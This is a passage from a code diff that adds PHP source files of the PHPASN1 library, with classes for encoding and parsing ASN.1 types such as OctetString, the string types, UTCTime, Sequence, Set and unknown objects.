$encodedValue .= Base128::encode($subIdentifier);
}
return $encodedValue;
}
public function __toString()
{
return OID::getName($this->value);
}
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
self::parseIdentifier($binaryData[$offsetIndex], Identifier::OBJECT_IDENTIFIER, $offsetIndex++);
$contentLength = self::parseContentLength($binaryData, $offsetIndex, 1);
$firstOctet = ord($binaryData[$offsetIndex++]);
$oidString = floor($firstOctet / 40).'.'.($firstOctet % 40);
$oidString .= '.'.self::parseOid($binaryData, $offsetIndex, $contentLength - 1);
$parsedObject = new self($oidString);
$parsedObject->setContentLength($contentLength);
return $parsedObject;
}
/**
* Parses an object identifier except for the first octet, which is parsed
* differently. This way relative object identifiers can also be parsed
* using this.
*
* @param $binaryData
* @param $offsetIndex
* @param $octetsToRead
*
* @throws ParserException
*
* @return string
*/
protected static function parseOid(&$binaryData, &$offsetIndex, $octetsToRead)
{
$oid = '';
while ($octetsToRead > 0) {
$octets = '';
do {
if (0 === $octetsToRead) {
throw new ParserException('Malformed ASN.1 Object Identifier', $offsetIndex - 1);
}
$octetsToRead--;
$octet = $binaryData[$offsetIndex++];
$octets .= $octet;
} while (ord($octet) & 0x80);
$oid .= sprintf('%d.', Base128::decode($octets));
}
// Remove trailing '.'
return substr($oid, 0, -1) ?: '';
}
}
@@ -0,0 +1,91 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use Exception;
use FG\ASN1\ASNObject;
use FG\ASN1\Parsable;
use FG\ASN1\Identifier;
class OctetString extends ASNObject implements Parsable
{
protected $value;
public function __construct($value)
{
if (is_string($value)) {
// remove gaps between hex digits
$value = preg_replace('/\s|0x/', '', $value);
} elseif (is_numeric($value)) {
$value = dechex($value);
} elseif ($value === null) {
return;
} else {
throw new Exception('OctetString: unrecognized input type!');
}
if (strlen($value) % 2 != 0) {
// transform values like 1F2 to 01F2
$value = '0'.$value;
}
$this->value = $value;
}
public function getType()
{
return Identifier::OCTETSTRING;
}
protected function calculateContentLength()
{
return strlen($this->value) / 2;
}
protected function getEncodedValue()
{
$value = $this->value;
$result = '';
//Actual content
while (strlen($value) >= 2) {
// get the hex value byte by byte from the string and and add it to binary result
$result .= chr(hexdec(substr($value, 0, 2)));
$value = substr($value, 2);
}
return $result;
}
public function getContent()
{
return strtoupper($this->value);
}
public function getBinaryContent()
{
return $this->getEncodedValue();
}
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
self::parseIdentifier($binaryData[$offsetIndex], Identifier::OCTETSTRING, $offsetIndex++);
$contentLength = self::parseContentLength($binaryData, $offsetIndex);
$value = substr($binaryData, $offsetIndex, $contentLength);
$offsetIndex += $contentLength;
$parsedObject = new self(bin2hex($value));
$parsedObject->setContentLength($contentLength);
return $parsedObject;
}
}
@@ -0,0 +1,53 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractString;
use FG\ASN1\Identifier;
class PrintableString extends AbstractString
{
/**
* Creates a new ASN.1 PrintableString.
*
* The ITU-T X.680 Table 8 permits the following characters:
* Latin capital letters A,B, ... Z
* Latin small letters a,b, ... z
* Digits 0,1, ... 9
* SPACE (space)
* APOSTROPHE '
* LEFT PARENTHESIS (
* RIGHT PARENTHESIS )
* PLUS SIGN +
* COMMA ,
* HYPHEN-MINUS -
* FULL STOP .
* SOLIDUS /
* COLON :
* EQUALS SIGN =
* QUESTION MARK ?
*
* @param string $string
*/
public function __construct($string)
{
$this->value = $string;
$this->allowNumbers();
$this->allowAllLetters();
$this->allowSpaces();
$this->allowCharacters("'", '(', ')', '+', '-', '.', ',', '/', ':', '=', '?');
}
public function getType()
{
return Identifier::PRINTABLE_STRING;
}
}
@@ -0,0 +1,57 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use Exception;
use FG\ASN1\Parsable;
use FG\ASN1\Identifier;
use FG\ASN1\Exception\ParserException;
class RelativeObjectIdentifier extends ObjectIdentifier implements Parsable
{
public function __construct($subIdentifiers)
{
$this->value = $subIdentifiers;
$this->subIdentifiers = explode('.', $subIdentifiers);
$nrOfSubIdentifiers = count($this->subIdentifiers);
for ($i = 0; $i < $nrOfSubIdentifiers; $i++) {
if (is_numeric($this->subIdentifiers[$i])) {
// enforce the integer type
$this->subIdentifiers[$i] = intval($this->subIdentifiers[$i]);
} else {
throw new Exception("[{$subIdentifiers}] is no valid object identifier (sub identifier ".($i + 1).' is not numeric)!');
}
}
}
public function getType()
{
return Identifier::RELATIVE_OID;
}
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
self::parseIdentifier($binaryData[$offsetIndex], Identifier::RELATIVE_OID, $offsetIndex++);
$contentLength = self::parseContentLength($binaryData, $offsetIndex, 1);
try {
$oidString = self::parseOid($binaryData, $offsetIndex, $contentLength);
} catch (ParserException $e) {
throw new ParserException('Malformed ASN.1 Relative Object Identifier', $e->getOffset());
}
$parsedObject = new self($oidString);
$parsedObject->setContentLength($contentLength);
return $parsedObject;
}
}
@@ -0,0 +1,23 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\Construct;
use FG\ASN1\Parsable;
use FG\ASN1\Identifier;
class Sequence extends Construct implements Parsable
{
public function getType()
{
return Identifier::SEQUENCE;
}
}
@@ -0,0 +1,21 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\Identifier;
class Set extends Sequence
{
public function getType()
{
return Identifier::SET;
}
}
@@ -0,0 +1,36 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractString;
use FG\ASN1\Identifier;
class T61String extends AbstractString
{
/**
* Creates a new ASN.1 T61 String.
* TODO The encodable characters of this type are not yet checked.
*
* @see http://en.wikipedia.org/wiki/ITU_T.61
*
* @param string $string
*/
public function __construct($string)
{
$this->value = $string;
$this->allowAll();
}
public function getType()
{
return Identifier::T61_STRING;
}
}
@@ -0,0 +1,77 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractTime;
use FG\ASN1\Parsable;
use FG\ASN1\Identifier;
use FG\ASN1\Exception\ParserException;
/**
* This ASN.1 universal type contains the calendar date and time.
*
* The precision is one minute or one second and optionally a
* local time differential from coordinated universal time.
*
* Decoding of this type will accept the Basic Encoding Rules (BER)
* The encoding will comply with the Distinguished Encoding Rules (DER).
*/
class UTCTime extends AbstractTime implements Parsable
{
public function getType()
{
return Identifier::UTC_TIME;
}
protected function calculateContentLength()
{
return 13; // Content is a string o the following format: YYMMDDhhmmssZ (13 octets)
}
protected function getEncodedValue()
{
return $this->value->format('ymdHis').'Z';
}
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
self::parseIdentifier($binaryData[$offsetIndex], Identifier::UTC_TIME, $offsetIndex++);
$contentLength = self::parseContentLength($binaryData, $offsetIndex, 11);
$format = 'ymdGi';
$dateTimeString = substr($binaryData, $offsetIndex, 10);
$offsetIndex += 10;
// extract optional seconds part
if ($binaryData[$offsetIndex] != 'Z'
&& $binaryData[$offsetIndex] != '+'
&& $binaryData[$offsetIndex] != '-') {
$dateTimeString .= substr($binaryData, $offsetIndex, 2);
$offsetIndex += 2;
$format .= 's';
}
$dateTime = \DateTime::createFromFormat($format, $dateTimeString, new \DateTimeZone('UTC'));
// extract time zone settings
if ($binaryData[$offsetIndex] == '+'
|| $binaryData[$offsetIndex] == '-') {
$dateTime = static::extractTimeZoneData($binaryData, $offsetIndex, $dateTime);
} elseif ($binaryData[$offsetIndex++] != 'Z') {
throw new ParserException('Invalid UTC String', $offsetIndex);
}
$parsedObject = new self($dateTime);
$parsedObject->setContentLength($contentLength);
return $parsedObject;
}
}
@@ -0,0 +1,34 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractString;
use FG\ASN1\Identifier;
class UTF8String extends AbstractString
{
/**
* Creates a new ASN.1 Universal String.
* TODO The encodable characters of this type are not yet checked.
*
* @param string $string
*/
public function __construct($string)
{
$this->value = $string;
$this->allowAll();
}
public function getType()
{
return Identifier::UTF8_STRING;
}
}
@@ -0,0 +1,36 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractString;
use FG\ASN1\Identifier;
class UniversalString extends AbstractString
{
/**
* Creates a new ASN.1 Universal String.
* TODO The encodable characters of this type are not yet checked.
*
* @see http://en.wikipedia.org/wiki/Universal_Character_Set
*
* @param string $string
*/
public function __construct($string)
{
$this->value = $string;
$this->allowAll();
}
public function getType()
{
return Identifier::UNIVERSAL_STRING;
}
}
@@ -0,0 +1,34 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractString;
use FG\ASN1\Identifier;
class VisibleString extends AbstractString
{
/**
* Creates a new ASN.1 Visible String.
* TODO The encodable characters of this type are not yet checked.
*
* @param string $string
*/
public function __construct($string)
{
$this->value = $string;
$this->allowAll();
}
public function getType()
{
return Identifier::VISIBLE_STRING;
}
}
@@ -0,0 +1,59 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1;
class UnknownConstructedObject extends Construct
{
private $identifier;
private $contentLength;
/**
* @param string $binaryData
* @param int $offsetIndex
*
* @throws \FG\ASN1\Exception\ParserException
*/
public function __construct($binaryData, &$offsetIndex)
{
$this->identifier = self::parseBinaryIdentifier($binaryData, $offsetIndex);
$this->contentLength = self::parseContentLength($binaryData, $offsetIndex);
$children = [];
$octetsToRead = $this->contentLength;
while ($octetsToRead > 0) {
$newChild = ASNObject::fromBinary($binaryData, $offsetIndex);
$octetsToRead -= $newChild->getObjectLength();
$children[] = $newChild;
}
parent::__construct(...$children);
}
public function getType()
{
return ord($this->identifier);
}
public function getIdentifier()
{
return $this->identifier;
}
protected function calculateContentLength()
{
return $this->contentLength;
}
protected function getEncodedValue()
{
return '';
}
}
@@ -0,0 +1,59 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1;
class UnknownObject extends ASNObject
{
/** @var string */
private $value;
private $identifier;
/**
* @param string|int $identifier Either the first identifier octet as int or all identifier bytes as a string
* @param int $contentLength
*/
public function __construct($identifier, $contentLength)
{
if (is_int($identifier)) {
$identifier = chr($identifier);
}
$this->identifier = $identifier;
$this->value = "Unparsable Object ({$contentLength} bytes)";
$this->setContentLength($contentLength);
}
public function getContent()
{
return $this->value;
}
public function getType()
{
return ord($this->identifier[0]);
}
public function getIdentifier()
{
return $this->identifier;
}
protected function calculateContentLength()
{
return $this->getContentLength();
}
protected function getEncodedValue()
{
return '';
}
}

Some files were not shown because too many files have changed in this diff Show More